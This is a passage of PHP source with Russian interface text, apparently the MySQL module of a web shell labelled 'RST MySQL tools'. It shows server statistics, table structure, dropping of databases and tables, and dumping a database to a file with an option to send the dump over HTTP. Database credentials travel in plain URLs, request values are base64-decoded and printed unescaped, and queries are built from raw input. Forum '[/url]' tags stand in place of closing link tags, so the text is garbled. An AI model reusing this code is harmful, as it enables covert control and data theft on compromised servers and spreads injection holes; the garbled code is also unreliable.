/*---------------Статистика MySQL сервера--------------*/
if (isset($stat) && $stat=="TRUE"){
$result = mysql_query("SHOW STATUS", $connection);
print "<center><font size=2>Переменные состояния MySQL сервера [ $server ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>Переменные состояния сервера</td><td>значения переменных</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>";
}
print "</table>";
mysql_free_result($result);
}
/*---------------Системные переменные MySQL сервера--------------*/
if (isset($var) && $var=="TRUE"){
$result = mysql_query("SHOW VARIABLES ", $connection);
print "<center><font size=2>Системные переменные MySQL сервера [ $server ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>Переменные сервера</td><td>значения переменных</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>";
}
print "</table>";
mysql_free_result($result);
unset($var);
}
/*-------------вывод данных таблиц------------*/
if (isset($db) && !isset($tbl)) {
$cnt=mysql_num_rows(mysql_list_tables($db)); //кол-во таблиц базы
print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
<tr>
<td>
<table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>
<tr align=center>
<td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"Создать новую таблицу в базе $db\">Создать таблицу[/url]
</td>
<td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"Произвольный запрос к базе\">SQL-запрос[/url]
</td>
<td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру БД\">структура[/url]
</td>
<td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"Экспорт данных базы $db\">Дамп базы[/url]
</td>
<td width=20% bgcolor=#B6B5B5>
<a href=\"$_SERVER[PHP_SELF]?s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить БД $db\" onClick=\"return confirm('Удалить базу $db ?')\";>удалить базу[/url]
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
";
print " БД:($db) Всего таблиц:($cnt)";
if (isset($t)) { print "
".base64_decode($t);}
if (isset($t2)) { print base64_decode($t2);}
/*-------------Структура базы ------------------*/
if (isset($str) && $str=='TRUE'){
mysql_select_db($db);
if ($cnt < 1) {
print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>".
"<td>
<h5>Невозможно показать структуру базы
В базе <font color=blue>".
"$db</font> нет таблиц!</h5></td></tr></table>
";
}else{
$result = mysql_query("SHOW TABLE STATUS", $connection);
print "
<center><font size=2>Структура базы [ $db ]</font></center>".
"<table align=center border=0 cellpadding=0 cellspacing=1 width=650 bgcolor=#FFFFFF>".
"<tr align=center bgcolor=#B6B5B5><td>имя таблицы</td><td>тип</td><td>рядов</td><td>создана</td>".
"<td>модифицирована</td><td>размер(kb)</td><td>действие</td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$size=$row[5]/1000;
print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td align=center>$row[3]</td>".
"<td>$row[10]</td><td>$row[11]</td><td align=center>$size</td><td bgcolor=red align=center>".
"<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&".
"port=$port&drop_table=$row[0]\" onClick=\"return confirm('Удалить таблицу $row[0]?')\";>уничтожит
";
mysql_free_result($result);
}
}
print " </td>
</tr>
</table>";
}
/*------------дамп базы----------------*/
$form_dump_bd=
"<form method=\"get\" action=\"$self\">".
"<input type=\"hidden\" name=\"s\" value=\"$s\">".
"<input type=\"hidden\" name=\"db\" value=\"$db\">".
"<input type=\"hidden\" name=\"server\" value=\"$server\">".
"<input type=\"hidden\" name=\"port\" value=\"$port\">".
"<input type=\"hidden\" name=\"login\" value=\"$login\">".
"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
"<input type=\"hidden\" name=\"dump\" value=\"bd\">".
"<input type=\"hidden\" name=\"strukt\" value=\"d_strukt_bd\">".
"<table align=center bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>".
"<table cellpadding=2 bgcolor=#F0F1F4 width=100%>".
"<tr><td align=center>Dump базы [ <font color=green>$db</font> ]</td></tr>".
"<tr><td align=center><font color=gray>Структура и данные</font></td></tr>".
"<tr><td align=center><hr size=1 color=#FFFFFF>Действие (показать/отправить)</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> Показать в броузере</td></tr>".
"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> Отправить файл дампа по HTTP</td></tr>".
"<tr><td align=center>
<input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
"</table>".
"</td></tr></table></form>";
if ($HTTP_GET_VARS['dump']=='bd') {
if ($cnt >= 1) {
print $form_dump_bd;
}else{
print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>".
"<td>
<h5>Невозможно сделать дамп базы
В базе <font color=blue>".
"$db</font> нет таблиц!</h5></td></tr></table>
";
}
}
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['send']=='send_br'){
if (sizeof($tabs) == 0) {
// получаем список таблиц базы
$res = mysql_query("SHOW TABLES FROM $db", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_row($res)) {
$tabs[] .= $row[0];
}
}
}
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\n# Home page:
n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
foreach($tabs as $tab) {
if ($add_drop) {
fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
}
// получаем текст запроса создания структуры таблицы